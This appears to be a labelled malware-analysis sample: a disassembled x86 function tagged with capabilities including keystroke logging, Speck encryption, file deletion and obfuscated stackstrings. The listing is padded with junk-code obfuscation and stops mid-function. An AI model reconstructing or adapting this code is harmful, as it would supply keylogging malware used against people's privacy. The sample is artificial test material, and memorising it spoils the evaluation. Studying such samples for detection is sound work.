Function at 0x10021917
Capabilities:
Check os version
Contain obfuscated stackstrings
Delete file
Encrypt data using speck
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060446
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xd94
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
cmp dword [0x100df394], 0
jne 0x10027624
push 2
lea ecx, [ebp - 0x364]
call fcn.10004730
and dword [ebp - 4], 0
mov dword [ebp - 0x170], 0x14cd4959
mov dword [ebp - 0x74], 0
jmp 0x10021974
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 2
jge 0x1002198d
push dword [ebp - 0x74]
lea ecx, [ebp - 0x364]
call fcn.100047a9
or dword [eax], 0xffffffff
jmp 0x1002196d
mov dword [ebp - 0x74], 0
jmp 0x1002199d
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 3
jge 0x100219b3
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0xda4], 0x9e6a4137
jmp 0x10021996
push 0
lea ecx, [ebp - 0x364]
call fcn.100047a9
mov dword [eax], 0xfffffff3
jmp 0x100219ec
push 0
lea ecx, [ebp - 0x364]
call fcn.100047a9
mov dword [ebp - 0x5a4], eax
mov eax, dword [ebp - 0x5a4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x5a4]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x364]
call fcn.100047a9
cmp dword [eax], 0xffffffe5
jle 0x10021ada
mov dword [ebp - 0x798], 0xa6e6
mov dword [ebp - 0x83c], 0x52568108
push 0
lea ecx, [ebp - 0x364]
call fcn.100047a9
cmp dword [ebp - 0x798], 0
je 0x10021aa3
xor eax, eax
jne 0x10021a4b
push 0
lea ecx, [ebp - 0x364]
call fcn.100047a9
cmp dword [eax], 0
jne 0x10021a4b
and dword [ebp - 0x7a0], 0
jmp 0x10021a55
mov dword [ebp - 0x7a0], 1
mov esi, dword [ebp - 0x798]
add esi, dword [ebp - 0x7a0]
push 0
lea ecx, [ebp - 0x364]
call fcn.100047a9
mov edi, eax
push 0
lea ecx, [ebp - 0x364]
call fcn.100047a9
mov eax, dword [eax]
add eax, dword [edi]
cmp eax, esi
jle 0x10021aa3
push 0
lea ecx, [ebp - 0x364]
call fcn.100047a9
cmp dword [eax], 0
je 0x10021aa3
mov dword [ebp - 0x7a8], 1
jmp 0x10021aaa
and dword [ebp - 0x7a8], 0
cmp dword [ebp - 0x7a8], 0xec32
jg 0x10021ac2
mov dword [ebp - 0x7b0], 1
jmp 0x10021ac9
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x7b0]
mov dword [ebp - 0x83c], eax
jmp 0x100219c8
mov dword [ebp - 0x170], 4
jmp 0x10021af3
mov eax, dword [ebp - 0x170]
dec eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0xfffffff4
jg 0x10021c80
mov dword [ebp - 0xec], 4
mov dword [ebp - 0x13c], 4
mov dword [ebp - 0xec], 1
jmp 0x10021b2d
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x10021c6d
mov dword [ebp - 0x7e8], 0xffffffff
push dword [ebp - 0xec]
lea ecx, [ebp - 0x364]
call fcn.100047a9
mov dword [ebp - 0x7f4], eax
push dword [ebp - 0xec]
lea ecx, [ebp - 0x364]
call fcn.100047a9
mov ecx, dword [ebp - 0x7f4]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x7f4]
mov eax, dword [eax]
neg eax
cmp eax, 0xfffffff9
jae 0x10021b91
mov dword [ebp - 0x46c], 1
jmp 0x10021b98
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x7e8]
cmp eax, dword [ebp - 0x7e8]
jle 0x10021bb2
mov dword [ebp - 0x3b4], 1
jmp 0x10021bb9
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x46c]
cmp eax, dword [ebp - 0x3b4]
jg 0x10021bd3
mov dword [ebp - 0x6d8], 1
jmp 0x10021bda
and dword [ebp - 0x6d8], 0
cmp dword [ebp - 0x6d8], 0x46b4
jne 0x10021bf2
mov dword [ebp - 0x3bc], 1
jmp 0x10021bf9
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x13c], 0
jmp 0x10021c1e
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 6
jle 0x10021c68
mov byte [ebp - 0xb3], 0
movzx eax, byte [ebp - 0xb3]
test eax, eax
je 0x10021c66
push 0x600
push 0x26cc
push 0x2587
push 0x8be
push 0x1a0d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
jmp 0x10021c11
jmp 0x10021b20
cmp dword [ebp - 0x170], 0
je 0x10021c7b
jmp 0x10021ae6
jmp 0x10021ae6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x364]
call fcn.1000478d
mov dword [ebp - 0x20], 0xfcb50bf3
push 1
lea ecx, [ebp - 0x7c0]
call fcn.10004730
mov dword [ebp - 4], 1
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x828], 1
mov dword [ebp - 0x824], 1
mov dword [ebp - 0x820], 1
mov dword [ebp - 0x81c], 1
mov dword [ebp - 0x720], 0xffffffff
mov dword [ebp - 0x344], 0
jmp 0x10021cff
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 1
jge 0x10021d21
push dword [ebp - 0x344]
lea ecx, [ebp - 0x7c0]
call fcn.100047a9
mov dword [eax], 0xeef7d266
jmp 0x10021cf2
cmp dword [ebp - 0x20], 0
je 0x10021ddd
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x20]
je 0x10021d43
xor eax, eax
je 0x10021d43
mov dword [ebp - 0x6e0], 1
jmp 0x10021d4a
and dword [ebp - 0x6e0], 0
mov eax, dword [ebp - 0x6e0]
sub eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jg 0x10021d64
mov dword [ebp - 0x3c4], 1
jmp 0x10021d6b
and dword [ebp - 0x3c4], 0
cmp dword [ebp - 0x3c4], 0xffff
ja 0x10021d83
mov dword [ebp - 0x6e8], 1
jmp 0x10021d8a
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x6e8], eax
je 0x10021da1
mov dword [ebp - 0x3cc], 1
jmp 0x10021da8
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x3cc], eax
jg 0x10021dbf
mov dword [ebp - 0x6f0], 1
jmp 0x10021dc6
and dword [ebp - 0x6f0], 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x6f0]
jge 0x10021ddd
mov dword [ebp - 0x980], 1
jmp 0x10021de4
and dword [ebp - 0x980], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc4c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc30], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc38], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xb48], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3d4], eax
push 0
lea ecx, [ebp - 0x7c0]
call fcn.100047a9
mov ecx, dword [ebp - 0x3d4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x3d4], eax
jg 0x10021e3d
mov dword [ebp - 0x6f8], 1
jmp 0x10021e44
and dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x6f8], eax
jge 0x10021e60
or eax, 0xffffffff
je 0x10021e60
mov dword [ebp - 0x3dc], 1
jmp 0x10021e67
and dword [ebp - 0x3dc], 0
imul eax, dword [ebp - 0x3dc], 0x6c8c
test eax, eax
jne 0x10021e81
mov dword [ebp - 0x700], 1
jmp 0x10021e88
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x700]
imul eax, dword [ebp - 0x358]
mov dword [ebp - 0x3e4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3e4]
mov dword [ebp + eax - 0x828], ecx
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x3e4]
jg 0x10021ec5
mov dword [ebp - 0x708], 1
jmp 0x10021ecc
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0x708]
mov dword [ebp - 0x720], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x828], 0
je 0x10021efd
cmp dword [ebp - 0x358], 0
je 0x10021efd
mov dword [ebp - 0x3ec], 1
jmp 0x10021f04
and dword [ebp - 0x3ec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x828]
cmp dword [ebp - 0x3ec], eax
jl 0x10021f25
mov dword [ebp - 0x710], 1
jmp 0x10021f2c
and dword [ebp - 0x710], 0
mov eax, dword [ebp - 0x710]
neg eax
je 0x10021f48
mov eax, 0x51b4
test eax, eax
jne 0x10021f48
and dword [ebp - 0x3f4], 0
jmp 0x10021f52
mov dword [ebp - 0x3f4], 1
cmp dword [ebp - 0x3f4], 0x3c94681c
jge 0x10021f6a
mov dword [ebp - 0x718], 1
jmp 0x10021f71
and dword [ebp - 0x718], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x828]
cmp eax, dword [ebp - 0x718]
jl 0x10021f92
mov dword [ebp - 0x3fc], 1
jmp 0x10021f99
and dword [ebp - 0x3fc], 0
push 0
lea ecx, [ebp - 0x7c0]
call fcn.100047a9
mov ecx, dword [ebp - 0x3fc]
cmp ecx, dword [eax]
jne 0x10021fc2
cmp dword [ebp - 0x720], 0
jne 0x10021fc2
and dword [ebp - 0x404], 0
jmp 0x10021fcc
mov dword [ebp - 0x404], 1
push 0
lea ecx, [ebp - 0x7c0]
call fcn.100047a9
mov eax, dword [eax]
cmp eax, dword [ebp - 0x404]
jge 0x10021fef
mov dword [ebp - 0x988], 1
jmp 0x10021ff6
and dword [ebp - 0x988], 0
push 0
lea ecx, [ebp - 0x7c0]
call fcn.100047a9
push 0
lea ecx, [ebp - 0x7c0]
call fcn.100047a9
mov eax, dword [ebp - 0x358]
mov dword [ebp - 0xc10], eax
mov esi, dword [ebp - 0x358]
push 0
lea ecx, [ebp - 0x7c0]
call fcn.100047a9
imul esi, dword [eax]
cmp esi, 0xfff8
ja 0x10022046
mov dword [ebp - 0x728], 1
jmp 0x1002204d
and dword [ebp - 0x728], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x728]
mov dword [ebp + eax - 0x828], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7c0]
call fcn.1000478d
push 3
lea ecx, [ebp - 0xa78]
call fcn.10004730
mov dword [ebp - 4], 2
mov dword [ebp - 0x104], 0
mov dword [ebp - 0xb50], 0xd94543be
mov dword [ebp - 0xbbc], 6
mov dword [ebp - 0x6c], 0
jmp 0x100220b1
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 3
jge 0x100220cd
push dword [ebp - 0x6c]
lea ecx, [ebp - 0xa78]
call fcn.100047a9
mov dword [eax], 0xfdf99ff6
jmp 0x100220aa
mov dword [ebp - 0x6c], 0
jmp 0x100220dd
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x100220f3
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0xcc0], 1
jmp 0x100220d6
mov dword [ebp - 0x104], 2
jmp 0x1002210c
mov eax, dword [ebp - 0x104]
dec eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
jl 0x100221b8
push 1
lea ecx, [ebp - 0xb74]
call fcn.10004730
mov byte [ebp - 4], 3
mov dword [ebp - 0x40c], 0xd1b71362
mov dword [ebp - 0x33c], 0
jmp 0x1002214d
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 1
jge 0x1002216f
push dword [ebp - 0x33c]
lea ecx, [ebp - 0xb74]
call fcn.100047a9
mov dword [eax], 1
jmp 0x10022140
push dword [ebp - 0x104]
lea ecx, [ebp - 0xa78]
call fcn.100047a9
mov esi, eax
push dword [ebp - 0x104]
lea ecx, [ebp - 0xa78]
call fcn.100047a9
mov eax, dword [eax]
mov dword [esi], eax
mov eax, dword [ebp - 0x40c]
inc eax
mov dword [ebp - 0x40c], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xb74]
call fcn.1000478d
jmp 0x100220ff
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa78]
call fcn.1000478d
mov byte [ebp - 0x18c], 3
mov byte [ebp - 0x18b], 0x9a
mov byte [ebp - 0x18a], 0xa
mov byte [ebp - 0x189], 2
mov byte [ebp - 0x188], 9
mov byte [ebp - 0x187], 8
mov byte [ebp - 0x186], 0
mov byte [ebp - 0x185], 0x2f
mov byte [ebp - 0x184], 1
mov byte [ebp - 0x183], 0x64
mov byte [ebp - 0x182], 4
mov byte [ebp - 0x181], 0x2e
mov byte [ebp - 0x180], 2
mov byte [ebp - 0x17f], 0x17
mov byte [ebp - 0x17e], 1
mov byte [ebp - 0x17d], 0x17
mov byte [ebp - 0x17c], 0xb
mov byte [ebp - 0x17b], 9
mov byte [ebp - 0x17a], 8
mov byte [ebp - 0x179], 0x42
mov byte [ebp - 0x178], 5
mov byte [ebp - 0x177], 0x42
mov byte [ebp - 0x176], 7
mov byte [ebp - 0x175], 0x5e
mov byte [ebp - 0x174], 6
mov byte [ebp - 0x173], 1
mov dword [ebp - 0x730], 0x635c
mov dword [ebp - 0x990], str.prjnbnwm_yslca_nifgy_eswfs_reraqq_zoxaqw_afllviqp
cmp dword [ebp - 0x730], 0x6602
jle 0x1002234c
and dword [ebp - 0x1bc], 0
jmp 0x100222b7
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x40c3
jge 0x1002234c
and dword [ebp - 0x2a4], 0
jmp 0x100222dd
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x808
jge 0x10022347
and dword [ebp - 0x1c4], 0
jmp 0x100222ff
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x7c4b
jge 0x10022345
mov eax, dword [ebp - 0x1bc]
cdq
idiv dword [ebp - 0x2a4]
or edx, dword [ebp - 0x1c4]
mov eax, edx
cdq
mov dword [ebp - 0x8ac], eax
mov dword [ebp - 0x8a8], edx
push dword [ebp - 0x8a8]
push dword [ebp - 0x8ac]
mov ecx, 0x1007bf18
call fcn.1000448f
jmp 0x100222f2
jmp 0x100222d0
jmp 0x100222aa
mov dword [ebp - 0xae4], 0xfffa
mov dword [ebp - 0xae0], 0xfffa
mov dword [ebp - 0xadc], 0xfffa
mov dword [ebp - 0xad8], 0xfffa
lea ecx, [ebp - 0x369]
call fcn.10004dab
push eax
lea eax, [ebp - 0xad4]
push eax
lea eax, [ebp - 0xae4]
push eax
lea ecx, [ebp - 0xc88]
call fcn.10010254
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x114]
call fcn.1001022e
mov dword [ebp - 4], 4
mov byte [ebp - 4], 5
cmp dword [ebp - 0x730], 0x60b7
jge 0x100223d0
mov edx, dword [ebp - 0x990]
mov ecx, 0x1007bf18
call fcn.10006900
jmp 0x100223ec
mov dword [ebp - 4], 4
jmp 0x100223fc
mov dword [ebp - 0x738], 0xffffffff
mov dword [ebp - 0x37c], 0x547507af
push 2
lea ecx, [ebp - 0xaf0]
call fcn.10004730
mov byte [ebp - 4], 7
mov dword [ebp - 0x374], 0xfffffff7
mov dword [ebp - 0x9b8], 0xfffffffe
mov dword [ebp - 0x414], 0x1dba
mov dword [ebp - 0x9a0], str.hwazzwgfk_stowvga_dvmcgws_dhslihob_dcfxs_yzvclmno_rotv_oaprsrad_mvymlb_rzjcytws_xdyydxx_mtowbv_xcqprkwlw
cmp dword [ebp - 0x414], 0x20f7
jle 0x1002255f
and dword [ebp - 0x1d4], 0
jmp 0x1002246f
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x5924
jge 0x1002255f
and dword [ebp - 0x1b0], 0
jmp 0x10022495
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x4c2
jge 0x1002255a
and dword [ebp - 0x1cc], 0
jmp 0x100224bb
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x5115
jge 0x10022555
and dword [ebp - 0x2ac], 0
jmp 0x100224e1
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x3e47
jge 0x10022550
mov eax, dword [ebp - 0x1b0]
sub eax, dword [ebp - 0x1cc]
xor eax, dword [ebp - 0x2ac]
or eax, dword [ebp - 0x1d4]
cdq
mov dword [ebp - 0x8b8], eax
mov dword [ebp - 0x8b4], edx
push dword [ebp - 0x8b4]
push dword [ebp - 0x8b8]
lea ecx, [ebp - 0xd80]
call fcn.10001a75
pop ecx
pop ecx
mov dword [ebp - 0x998], eax
mov ecx, dword [ebp - 0x998]
call fcn.1000446f
push eax
call fcn.10048743
pop ecx
lea ecx, [ebp - 0xd80]
call fcn.10004465
jmp 0x100224d4
jmp 0x100224ae
jmp 0x10022488
jmp 0x10022462
mov dword [ebp - 0x318], 0
jmp 0x10022578
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 2
jge 0x10022597
push dword [ebp - 0x318]
lea ecx, [ebp - 0xaf0]
call fcn.100047a9
or dword [eax], 0xffffffff
jmp 0x1002256b
mov byte [ebp - 4], 8
cmp dword [ebp - 0x414], 0x1d2d
jge 0x100225b3
push dword [ebp - 0x9a0]
call fcn.10048743
pop ecx
jmp 0x100225cf
mov dword [ebp - 4], 7
jmp 0x100225df
mov dword [ebp - 0x738], 0xc8951bb3
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x37c], eax
mov esi, dword [ebp - 0x37c]
push 0
lea ecx, [ebp - 0x114]
call fcn.100047a9
cmp esi, dword [eax]
je 0x1002262a
push 3
lea ecx, [ebp - 0x114]
call fcn.100047a9
cmp dword [eax], 0
je 0x1002262a
mov dword [ebp - 0x41c], 1
jmp 0x10022631
and dword [ebp - 0x41c], 0
push 1
lea ecx, [ebp - 0x114]
call fcn.100047a9
mov ecx, dword [ebp - 0x41c]
cmp ecx, dword [eax]
jl 0x10022654
mov dword [ebp - 0x740], 1
jmp 0x1002265b
and dword [ebp - 0x740], 0
push 3
lea ecx, [ebp - 0x114]
call fcn.100047a9
mov esi, dword [ebp - 0x740]
imul esi, dword [eax]
push 3
lea ecx, [ebp - 0x114]
call fcn.100047a9
cmp esi, dword [eax]
je 0x1002268e
mov dword [ebp - 0x424], 1
jmp 0x10022695
and dword [ebp - 0x424], 0
push 3
lea ecx, [ebp - 0x114]
call fcn.100047a9
mov ecx, dword [ebp - 0x424]
cmp ecx, dword [eax]
jne 0x100226b8
mov dword [ebp - 0x748], 1
jmp 0x100226bf
and dword [ebp - 0x748], 0
push 3
lea ecx, [ebp - 0x114]
call fcn.100047a9
mov ecx, dword [ebp - 0x748]
cmp ecx, dword [eax]
jne 0x100226e2
mov dword [ebp - 0x42c], 1
jmp 0x100226e9
and dword [ebp - 0x42c], 0
push 1
lea ecx, [ebp - 0x114]
call fcn.100047a9
mov esi, dword [ebp - 0x42c]
add esi, dword [eax]
push 2
lea ecx, [ebp - 0x114]
call fcn.100047a9
sub esi, dword [eax]
push 3
lea ecx, [ebp - 0x114]
call fcn.100047a9
cmp esi, dword [eax]
je 0x1002272a
mov dword [ebp - 0x368], 1
jmp 0x10022731
and dword [ebp - 0x368], 0
push 1
lea ecx, [ebp - 0xaf0]
call fcn.100047a9
mov ecx, dword [ebp - 0x368]
mov dword [eax], ecx
imul eax, dword [ebp - 0x368], 0
cmp eax, 0xf0bb9a67
jne 0x10022760
mov dword [ebp - 0x750], 1
jmp 0x10022767
and dword [ebp - 0x750], 0
cmp dword [ebp - 0x750], 0xfffffffe
je 0x1002277c
mov dword [ebp - 0x434], 1
jmp 0x10022783
and dword [ebp - 0x434], 0
push 2
lea ecx, [ebp - 0x114]
call fcn.100047a9
mov ecx, dword [ebp - 0x434]
cmp ecx, dword [eax]
jne 0x100227a6
mov dword [ebp - 0x758], 1
jmp 0x100227ad
and dword [ebp - 0x758], 0
mov esi, dword [ebp - 0x758]
neg esi
push 3
lea ecx, [ebp - 0x114]
call fcn.100047a9
cmp esi, dword [eax]
jg 0x100227db
cmp dword [ebp - 0x374], 0
je 0x100227db
mov dword [ebp - 0x9a8], 1
jmp 0x100227e2
and dword [ebp - 0x9a8], 0
push 3
lea ecx, [ebp - 0x114]
call fcn.100047a9
push 3
lea ecx, [ebp - 0x114]
call fcn.100047a9
push 3
lea ecx, [ebp - 0x114]
call fcn.100047a9
mov esi, eax
push 3
lea ecx, [ebp - 0x114]
call fcn.100047a9
mov eax, dword [eax]
add eax, dword [esi]
mov dword [ebp - 0x374], eax
mov esi, dword [ebp - 0x374]
push 3
lea ecx, [ebp - 0x114]
call fcn.100047a9
cmp esi, dword [eax]
jne 0x1002284b
mov eax, 0xf283019c
test eax, eax
jne 0x1002284b
and dword [ebp - 0x9b0], 0
jmp 0x10022855
mov dword [ebp - 0x9b0], 1
push 3
lea ecx, [ebp - 0x114]
call fcn.100047a9
mov eax, dword [ebp - 0x37c]
mov dword [ebp - 0x9b8], eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xaf0]
call fcn.1000478d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x114]
call fcn.1000478d
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x18c]
and eax, 0xf4
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x18c]
or ecx, 0xf4
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x18c]
mov word [ebp + eax*2 - 0xb3c], cx
mov dword [ebp - 0x34], 0x8a1f
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0xabc], 0xfffffff7
mov dword [ebp - 0xab8], 0xfffffff7
mov dword [ebp - 0xab4], 0xfffffff7
mov dword [ebp - 0xab0], 0xfffffff7
mov dword [ebp - 0x768], 0
push 2
lea ecx, [ebp - 0xb14]
call fcn.10004730
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x1dc], 0
jmp 0x1002293b
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 2
jge 0x1002295a
push dword [ebp - 0x1dc]
lea ecx, [ebp - 0xb14]
call fcn.100047a9
or dword [eax], 0xffffffff
jmp 0x1002292e
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x34]
je 0x10022977
cmp dword [ebp - 0x34], 0
je 0x10022977
mov dword [ebp - 0x43c], 1
jmp 0x1002297e
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x43c]
cmp dword [ebp - 0x34], eax
jle 0x10022998
mov dword [ebp - 0x760], 1
jmp 0x1002299f
and dword [ebp - 0x760], 0
cmp dword [ebp - 0x760], 0xb0d1
jge 0x100229bd
cmp dword [ebp - 0x34], 0
jne 0x100229bd
mov dword [ebp - 0x444], 1
jmp 0x100229c4
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x444]
neg eax
mov ecx, dword [ebp - 0x34]
add ecx, eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x34], 0
jmp 0x100229e7
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jg 0x10022dce
mov eax, dword [ebp - 0x768]
dec eax
mov dword [ebp - 0x768], eax
mov dword [ebp - 0x14c], 3
jmp 0x10022a17
mov eax, dword [ebp - 0x14c]
dec eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
jl 0x10022dc9
mov dword [ebp - 0x9c0], 0x2342
cmp dword [ebp - 0x9c0], 0x9e7
jge 0x10022c5a
push 0x1007d18c
push 0x1007d188
push str._d__d
call fcn.1004845b
add esp, 0xc
and dword [ebp - 0x2b4], 0
jmp 0x10022a6b
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp - 0x2b4]
cmp eax, dword [0x1007d18c]
jge 0x10022ac7
push 0x1006ba6c
call fcn.10048a02
pop ecx
push 0x20
pop esi
shl esi, 0
call fcn.10049077
add eax, esi
push eax
call fcn.10049206
pop ecx
push 0x1007d20c
push 0x100684d4
call fcn.1004845b
pop ecx
pop ecx
cmp dword [0x1007d20c], 0
jne 0x10022ac5
mov eax, dword [ebp - 0x2b4]
mov ecx, dword [0x1007d20c]
mov dword [eax*4 + 0x1007d190], ecx
jmp 0x10022a5e
and dword [ebp - 0x124], 0
jmp 0x10022add
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x124]
cmp eax, dword [0x1007d18c]
jge 0x10022b0b
mov eax, dword [ebp - 0x124]
cmp dword [eax*4 + 0x1007d190], 0xffffffff
jne 0x10022b09
mov eax, dword [ebp - 0x124]
and dword [eax*4 + 0x1007d190], 0
jmp 0x10022ad0
mov dword [ebp - 0x1e4], 1
mov eax, dword [0x1007d188]
mov dword [ebp - 0x338], eax
and dword [ebp - 0x164], 0
mov eax, dword [ebp - 0x1e4]
cmp eax, dword [ebp - 0x338]
jg 0x10022c23
mov eax, dword [ebp - 0x1e4]
add eax, dword [ebp - 0x338]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0x7c], eax
push dword [ebp - 0x7c]
push 0x1006ba70
call fcn.10048743
pop ecx
pop ecx
push 0x20
pop esi
shl esi, 0
call fcn.10049077
add eax, esi
push eax
call fcn.10049206
pop ecx
push 0x1007d20c
push 0x100684d4
call fcn.1004845b
pop ecx
pop ecx
cmp dword [0x1007d20c], 0
jne 0x10022bfe
mov eax, dword [ebp - 0x164]
cmp dword [eax*4 + 0x1007d190], 1
jne 0x10022bcd
cmp dword [0x1007d20c], 0xffffffff
jne 0x10022bb8
mov eax, dword [ebp - 0x7c]
dec eax
mov dword [ebp - 0x338], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1ec], eax
jmp 0x10022bcb
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1ec], eax
jmp 0x10022bfe
cmp dword [0x1007d20c], 0xffffffff
jne 0x10022beb
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1ec], eax
jmp 0x10022bfe
mov eax, dword [ebp - 0x7c]
dec eax
mov dword [ebp - 0x338], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x164]
cdq
idiv dword [0x1007d18c]
mov dword [ebp - 0x164], edx
jmp 0x10022b27
push dword [ebp - 0x1ec]
push 0x1006ba70
call fcn.10048743
pop ecx
pop ecx
push 0x20
pop esi
shl esi, 0
call fcn.10049077
add eax, esi
push eax
call fcn.10049206
pop ecx
push 0x1007d20c
push 0x100684d4
call fcn.1004845b
pop ecx
pop ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xabc]
mov ecx, dword [ebp - 0x34]
mov dword [ebp + ecx*4 - 0xabc], eax
mov dword [ebp - 0x44c], 0x7e36
mov dword [ebp - 0xa48], str.wqmvqj_salu_pwhsdc_iucgdtrw_ezbont_ggpbpldv_aatep_gkvroven_tfyjjq_qcsw_slfb
cmp dword [ebp - 0x44c], 0x7ff6
jle 0x10022d65
and dword [ebp - 0x320], 0
jmp 0x10022ca8
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0x4ea5
jge 0x10022d3c
and dword [ebp - 0x2bc], 0
jmp 0x10022cce
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0x5d0a
jge 0x10022d37
and dword [ebp - 0x1f4], 0
jmp 0x10022cf0
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x6a62
jge 0x10022d35
mov ecx, dword [ebp - 0x2bc]
sub ecx, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x320]
shl eax, cl
cdq
mov dword [ebp - 0x8c4], eax
mov dword [ebp - 0x8c0], edx
push dword [ebp - 0x8c0]
push dword [ebp - 0x8c4]
